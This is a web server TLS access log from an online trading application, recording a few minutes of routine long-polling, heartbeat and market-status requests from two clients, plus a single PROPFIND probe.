[09/Jan/2026:12:44:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934135220 HTTP/1.1" -
[09/Jan/2026:12:44:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934140291 HTTP/1.1" -
[09/Jan/2026:12:44:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:44:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934145469 HTTP/1.1" -
[09/Jan/2026:12:44:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934150615 HTTP/1.1" -
[09/Jan/2026:12:44:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934155803 HTTP/1.1" -
[09/Jan/2026:12:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:44:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934161075 HTTP/1.1" -
[09/Jan/2026:12:44:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:44:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:44:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934166166 HTTP/1.1" -
[09/Jan/2026:12:44:57 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:12:45:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934171312 HTTP/1.1" -
[09/Jan/2026:12:45:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:45:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934176498 HTTP/1.1" -
[09/Jan/2026:12:45:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934181638 HTTP/1.1" -
[09/Jan/2026:12:45:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934186789 HTTP/1.1" -
[09/Jan/2026:12:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:45:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934191930 HTTP/1.1" -
[09/Jan/2026:12:45:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934197008 HTTP/1.1" -
[09/Jan/2026:12:45:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934202067 HTTP/1.1" -
[09/Jan/2026:12:45:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:45:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934207235 HTTP/1.1" -
[09/Jan/2026:12:45:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934212368 HTTP/1.1" -
[09/Jan/2026:12:45:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934217521 HTTP/1.1" -
[09/Jan/2026:12:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:45:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934222666 HTTP/1.1" -
[09/Jan/2026:12:45:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:45:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934227728 HTTP/1.1" -
[09/Jan/2026:12:46:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934232784 HTTP/1.1" -
[09/Jan/2026:12:46:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:46:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934237935 HTTP/1.1" -
[09/Jan/2026:12:46:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934243163 HTTP/1.1" -
[09/Jan/2026:12:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934248411 HTTP/1.1" -
[09/Jan/2026:12:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:46:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:46:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934253560 HTTP/1.1" -
[09/Jan/2026:12:46:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934258635 HTTP/1.1" -
[09/Jan/2026:12:46:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934263851 HTTP/1.1" -
[09/Jan/2026:12:46:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:46:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934269010 HTTP/1.1" -
[09/Jan/2026:12:46:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934274140 HTTP/1.1" -
[09/Jan/2026:12:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:46:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934279281 HTTP/1.1" -
[09/Jan/2026:12:46:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:46:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:46:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934284362 HTTP/1.1" -
[09/Jan/2026:12:47:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934289424 HTTP/1.1" -
[09/Jan/2026:12:47:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934294617 HTTP/1.1" -
[09/Jan/2026:12:47:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:47:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934299749 HTTP/1.1" -
[09/Jan/2026:12:47:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934304932 HTTP/1.1" -
[09/Jan/2026:12:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:47:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934310072 HTTP/1.1" -
[09/Jan/2026:12:47:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:47:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934315119 HTTP/1.1" -
[09/Jan/2026:12:47:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934320177 HTTP/1.1" -
[09/Jan/2026:12:47:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934325322 HTTP/1.1" -
[09/Jan/2026:12:47:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934330468 HTTP/1.1" -
[09/Jan/2026:12:47:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934335598 HTTP/1.1" -
[09/Jan/2026:12:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:47:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934340734 HTTP/1.1" -
[09/Jan/2026:12:47:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:47:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:47:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934345786 HTTP/1.1" -
[09/Jan/2026:12:48:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934350855 HTTP/1.1" -
[09/Jan/2026:12:48:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934355966 HTTP/1.1" -
[09/Jan/2026:12:48:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934361101 HTTP/1.1" -
[09/Jan/2026:12:48:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934366220 HTTP/1.1" -
